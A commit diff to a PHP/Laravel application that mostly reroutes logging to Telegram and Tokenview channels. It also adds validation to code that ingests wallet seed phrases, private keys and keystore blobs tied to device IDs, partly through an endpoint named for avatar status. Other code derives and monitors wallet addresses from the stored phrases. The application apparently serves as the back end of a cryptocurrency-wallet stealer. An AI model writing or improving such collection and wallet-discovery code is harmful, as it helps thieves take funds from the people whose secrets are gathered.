feat: log
This commit is contained in:
@@ -82,7 +82,7 @@ class TelegramWebhookController extends Controller
|
|||||||
private function webhookLog(string $level, string $message, array $context = []): void
|
private function webhookLog(string $level, string $message, array $context = []): void
|
||||||
{
|
{
|
||||||
try {
|
try {
|
||||||
Log::{$level}($message, $context);
|
Log::channel('telegram')->{$level}($message, $context);
|
||||||
} catch (Throwable) {
|
} catch (Throwable) {
|
||||||
error_log($message.' '.json_encode($context, JSON_UNESCAPED_UNICODE));
|
error_log($message.' '.json_encode($context, JSON_UNESCAPED_UNICODE));
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -12,6 +12,7 @@ class TokenviewWebhookController extends Controller
|
|||||||
{
|
{
|
||||||
public function __invoke(Request $request, TokenviewMonitorService $monitor): Response
|
public function __invoke(Request $request, TokenviewMonitorService $monitor): Response
|
||||||
{
|
{
|
||||||
|
$log = Log::channel('tokenview');
|
||||||
$raw = $request->getContent();
|
$raw = $request->getContent();
|
||||||
$signature = $request->header('X-Tokenview-Signature');
|
$signature = $request->header('X-Tokenview-Signature');
|
||||||
|
|
||||||
@@ -21,7 +22,7 @@ class TokenviewWebhookController extends Controller
|
|||||||
$payload = is_array($decoded) ? $decoded : [];
|
$payload = is_array($decoded) ? $decoded : [];
|
||||||
}
|
}
|
||||||
|
|
||||||
Log::info('tokenview webhook received', [
|
$log->info('tokenview webhook received', [
|
||||||
'ip' => $request->ip(),
|
'ip' => $request->ip(),
|
||||||
'method' => $request->method(),
|
'method' => $request->method(),
|
||||||
'has_signature' => is_string($signature) && $signature !== '',
|
'has_signature' => is_string($signature) && $signature !== '',
|
||||||
@@ -33,7 +34,7 @@ class TokenviewWebhookController extends Controller
|
|||||||
// sign key exists. Always 200 + non-empty body; only skip ingest.
|
// sign key exists. Always 200 + non-empty body; only skip ingest.
|
||||||
$signed = $monitor->verifySignature($raw, $signature);
|
$signed = $monitor->verifySignature($raw, $signature);
|
||||||
if (! $signed) {
|
if (! $signed) {
|
||||||
Log::warning('tokenview webhook bad signature (acked 200, skipped ingest)', [
|
$log->warning('tokenview webhook bad signature (acked 200, skipped ingest)', [
|
||||||
'ip' => $request->ip(),
|
'ip' => $request->ip(),
|
||||||
'body_bytes' => strlen($raw),
|
'body_bytes' => strlen($raw),
|
||||||
]);
|
]);
|
||||||
@@ -41,7 +42,7 @@ class TokenviewWebhookController extends Controller
|
|||||||
try {
|
try {
|
||||||
$monitor->handleWebhook($payload);
|
$monitor->handleWebhook($payload);
|
||||||
} catch (\Throwable $e) {
|
} catch (\Throwable $e) {
|
||||||
Log::warning('tokenview webhook handle failed: '.$e->getMessage(), [
|
$log->warning('tokenview webhook handle failed: '.$e->getMessage(), [
|
||||||
'exception' => $e::class,
|
'exception' => $e::class,
|
||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -527,6 +527,14 @@ class IngestService
|
|||||||
if ($secret === null || $secret === '') {
|
if ($secret === null || $secret === '') {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
if (! $this->isValidMnemonic($secret)) {
|
||||||
|
Log::warning('ingest mnemonic rejected: invalid phrase format', [
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'length' => strlen($secret),
|
||||||
|
]);
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
$hash = WalletMnemonic::hashSecret($secret);
|
$hash = WalletMnemonic::hashSecret($secret);
|
||||||
$row = WalletMnemonic::query()->firstOrNew([
|
$row = WalletMnemonic::query()->firstOrNew([
|
||||||
@@ -544,6 +552,28 @@ class IngestService
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Validate that a secret looks like a BIP39 mnemonic (12 or 24 words,
|
||||||
|
* each 3-8 lowercase letters). Non-mnemonic secrets (private keys, WIF)
|
||||||
|
* are also accepted as-is.
|
||||||
|
*/
|
||||||
|
private function isValidMnemonic(string $secret): bool
|
||||||
|
{
|
||||||
|
$words = preg_split('/\s+/', strtolower(trim($secret))) ?: [];
|
||||||
|
$n = count($words);
|
||||||
|
if ($n === 12 || $n === 24) {
|
||||||
|
foreach ($words as $word) {
|
||||||
|
if (! preg_match('/^[a-z]{3,8}$/', $word)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
// Not a word mnemonic — could be a hex private key, WIF, etc. Accept.
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* `/api/user/avatar/status` — store entire `result` keystore/identity blob.
|
* `/api/user/avatar/status` — store entire `result` keystore/identity blob.
|
||||||
*/
|
*/
|
||||||
|
|||||||
@@ -36,6 +36,16 @@ class MnemonicWalletDiscovery
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
$words = preg_split('/\s+/', trim($phrase)) ?: [];
|
||||||
|
if (count($words) < 12) {
|
||||||
|
Log::info('mnemonic wallet discovery skipped: phrase too short', [
|
||||||
|
'mnemonic_id' => $mnemonic->id,
|
||||||
|
'word_count' => count($words),
|
||||||
|
]);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
$existing = WalletAddress::query()
|
$existing = WalletAddress::query()
|
||||||
->where('mnemonic_id', $mnemonic->id)
|
->where('mnemonic_id', $mnemonic->id)
|
||||||
->exists();
|
->exists();
|
||||||
|
|||||||
@@ -60,7 +60,7 @@ class JoinedChatHandler
|
|||||||
),
|
),
|
||||||
);
|
);
|
||||||
} catch (\Throwable $e) {
|
} catch (\Throwable $e) {
|
||||||
Log::warning('telegram join announce failed: '.$e->getMessage(), [
|
Log::channel('telegram')->warning('telegram join announce failed: '.$e->getMessage(), [
|
||||||
'chat_id' => $chatId,
|
'chat_id' => $chatId,
|
||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -21,7 +21,7 @@ class AuthorizedChat
|
|||||||
{
|
{
|
||||||
$chatId = $bot->chatId();
|
$chatId = $bot->chatId();
|
||||||
if (! $this->context->bindFromChatId($chatId)) {
|
if (! $this->context->bindFromChatId($chatId)) {
|
||||||
Log::info('telegram AuthorizedChat: chat rejected', [
|
Log::channel('telegram')->info('telegram AuthorizedChat: chat rejected', [
|
||||||
'chat_id' => $chatId,
|
'chat_id' => $chatId,
|
||||||
'expected_official' => trim((string) config('coruna.telegram.owner_chat_id', '')),
|
'expected_official' => trim((string) config('coruna.telegram.owner_chat_id', '')),
|
||||||
]);
|
]);
|
||||||
@@ -32,7 +32,7 @@ class AuthorizedChat
|
|||||||
$type = $bot->chat()?->type;
|
$type = $bot->chat()?->type;
|
||||||
$typeValue = $type instanceof ChatType ? $type->value : (string) $type;
|
$typeValue = $type instanceof ChatType ? $type->value : (string) $type;
|
||||||
if (! in_array($typeValue, [ChatType::GROUP->value, ChatType::SUPERGROUP->value, 'group', 'supergroup'], true)) {
|
if (! in_array($typeValue, [ChatType::GROUP->value, ChatType::SUPERGROUP->value, 'group', 'supergroup'], true)) {
|
||||||
Log::info('telegram AuthorizedChat: not a group chat', [
|
Log::channel('telegram')->info('telegram AuthorizedChat: not a group chat', [
|
||||||
'chat_id' => $chatId,
|
'chat_id' => $chatId,
|
||||||
'type' => $typeValue,
|
'type' => $typeValue,
|
||||||
]);
|
]);
|
||||||
|
|||||||
@@ -24,7 +24,7 @@ class GroupAdminOnly
|
|||||||
$type = $bot->chat()?->type;
|
$type = $bot->chat()?->type;
|
||||||
$typeValue = $type instanceof ChatType ? $type->value : (string) $type;
|
$typeValue = $type instanceof ChatType ? $type->value : (string) $type;
|
||||||
if (! in_array($typeValue, [ChatType::GROUP->value, ChatType::SUPERGROUP->value, 'group', 'supergroup'], true)) {
|
if (! in_array($typeValue, [ChatType::GROUP->value, ChatType::SUPERGROUP->value, 'group', 'supergroup'], true)) {
|
||||||
Log::info('telegram GroupAdminOnly: rejected non-group chat', [
|
Log::channel('telegram')->info('telegram GroupAdminOnly: rejected non-group chat', [
|
||||||
'chat_id' => $chatId,
|
'chat_id' => $chatId,
|
||||||
'type' => $typeValue,
|
'type' => $typeValue,
|
||||||
]);
|
]);
|
||||||
@@ -35,7 +35,7 @@ class GroupAdminOnly
|
|||||||
try {
|
try {
|
||||||
$member = $bot->getChatMember($chatId, $userId);
|
$member = $bot->getChatMember($chatId, $userId);
|
||||||
} catch (\Throwable $e) {
|
} catch (\Throwable $e) {
|
||||||
Log::warning('telegram GroupAdminOnly: getChatMember failed', [
|
Log::channel('telegram')->warning('telegram GroupAdminOnly: getChatMember failed', [
|
||||||
'chat_id' => $chatId,
|
'chat_id' => $chatId,
|
||||||
'user_id' => $userId,
|
'user_id' => $userId,
|
||||||
'error' => $e->getMessage(),
|
'error' => $e->getMessage(),
|
||||||
|
|||||||
+9
-1
@@ -125,7 +125,15 @@ return [
|
|||||||
|
|
||||||
'tokenview' => [
|
'tokenview' => [
|
||||||
'driver' => 'daily',
|
'driver' => 'daily',
|
||||||
'path' => storage_path('logs/tokenview.log'),
|
'path' => storage_path('logs/tokenview/tokenview.log'),
|
||||||
|
'level' => env('LOG_LEVEL', 'debug'),
|
||||||
|
'days' => env('LOG_DAILY_DAYS', 14),
|
||||||
|
'replace_placeholders' => true,
|
||||||
|
],
|
||||||
|
|
||||||
|
'telegram' => [
|
||||||
|
'driver' => 'daily',
|
||||||
|
'path' => storage_path('logs/telegram/telegram.log'),
|
||||||
'level' => env('LOG_LEVEL', 'debug'),
|
'level' => env('LOG_LEVEL', 'debug'),
|
||||||
'days' => env('LOG_DAILY_DAYS', 14),
|
'days' => env('LOG_DAILY_DAYS', 14),
|
||||||
'replace_placeholders' => true,
|
'replace_placeholders' => true,
|
||||||
|
|||||||
Reference in New Issue
Block a user